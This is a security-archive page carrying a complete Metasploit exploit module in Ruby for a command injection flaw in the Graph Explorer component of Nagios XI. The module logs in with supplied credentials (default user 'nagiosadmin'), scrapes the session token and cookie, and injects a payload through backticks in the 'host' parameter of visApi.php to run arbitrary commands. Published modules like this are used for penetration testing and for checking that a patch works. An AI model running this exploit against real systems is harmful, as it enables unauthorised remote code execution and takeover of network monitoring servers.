what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Nagios XI Network Monitor Graph Explorer Component Command Injection

Nagios XI Network Monitor Graph Explorer Component Command Injection
Posted Dec 9, 2012
Authored by sinn3r, Daniel Compton | Site metasploit.com

This Metasploit module exploits a vulnerability found in Nagios XI Network Monitor's component 'Graph Explorer'. An authenticated user can execute system commands by injecting it in several parameters, such as in visApi.php's 'host' parameter, which results in remote code execution.

tags | exploit, remote, php, code execution
advisories | OSVDB-83552
SHA-256 | 03511b3aec77711f36f512b8cfc1cc8dbd2684b2a54143164f62d0d971975ee5

Nagios XI Network Monitor Graph Explorer Component Command Injection

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "Nagios XI Network Monitor Graph Explorer Component Command Injection",
'Description' => %q{
This module exploits a vulnerability found in Nagios XI Network Monitor's
component 'Graph Explorer'. An authenticated user can execute system commands
by injecting it in several parameters, such as in visApi.php's 'host' parameter,
which results in remote code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Daniel Compton <daniel.compton[at]ngssecure.com>', #Original discovery
'sinn3r'
],
'References' =>
[
[ 'OSVDB', '83552' ],
[ 'BID', '54263' ],
[ 'URL', 'http://packetstormsecurity.org/files/118497/Nagios-XI-Network-Monitor-2011R1.9-OS-Command-Injection.html' ]
],
'Payload' =>
{
'BadChars' => "\x00\x0d\x0a",
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl python ruby bash telnet',
}
},
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Targets' =>
[
['Graph Explorer Component prior to 1.3', {}]
],
'Privileged' => false,
'DisclosureDate' => "Nov 30 2012",
'DefaultTarget' => 0))

register_options(
[
# URI isn't registered, because this is set by the installer.
OptString.new('USERNAME', [true, 'The username to login as', 'nagiosadmin']),
OptString.new('PASSWORD', [true, 'The password to use'])
], self.class)
end


def check
res = send_request_raw({
'method' => 'GET',
'uri' => '/nagiosxi/includes/components/graphexplorer/visApi.php'
})

if res and res.code == 404
print_error("Remote host does not have Graph Explorer installed.")
elsif res and res.body =~ /Your session has timed out/
return Exploit::CheckCode::Detected
end

return Exploit::CheckCode::Safe
end

def get_login_data
res = send_request_cgi({'uri'=>'/nagiosxi/login.php'})
return '' if !res

nsp = res.body.scan(/<input type='hidden' name='nsp' value='(.+)'>/).flatten[0] || ''
cookie = (res.headers['Set-Cookie'] || '').scan(/nagiosxi=(\w+); /).flatten[0] || ''
return nsp, cookie
end

def is_loggedin(cookie)
res = send_request_cgi({
'method' => 'GET',
'uri' => '/nagiosxi/index.php',
'cookie' => "nagiosxi=#{cookie}"
})

if res and res.body =~ /Logged in as: <a href=".+">#{datastore['USERNAME']}<\/a>/
return true
else
return false
end
end

def login(nsp, cookie)
res = send_request_cgi({
'method' => 'POST',
'uri' => '/nagiosxi/login.php',
'cookie' => "nagiosxi=#{cookie}",
'vars_post' => {
'nsp' => nsp,
'page' => 'auth',
'debug' => '',
'pageopt' => 'login',
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'loginButton' => 'Login'
},
'headers' => {
'Origin' => "http://#{rhost}",
'Referer' => "http://#{rhost}/nagiosxi/login.php"
}
})

return is_loggedin(cookie)
end

def exploit
nsp, cookie = get_login_data
if nsp.empty?
print_error("Unable to retrieve hidden value 'nsp'")
return false
end

if login(nsp, cookie)
print_status("Logged in as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")
else
print_error("Failed to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")
return
end

print_status("Sending Command injection")
send_request_cgi({
'method' => 'GET',
'uri' => '/nagiosxi/includes/components/graphexplorer/visApi.php',
'cookie' => "nagiosxi=#{cookie}",
'vars_get' => {
'type' => 'stack',
'host' => "localhost`#{payload.encoded}`",
'service' => 'Swap_Usage',
'div' => 'visContainer1566841654',
'opt' => 'days'
}
})
end


end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close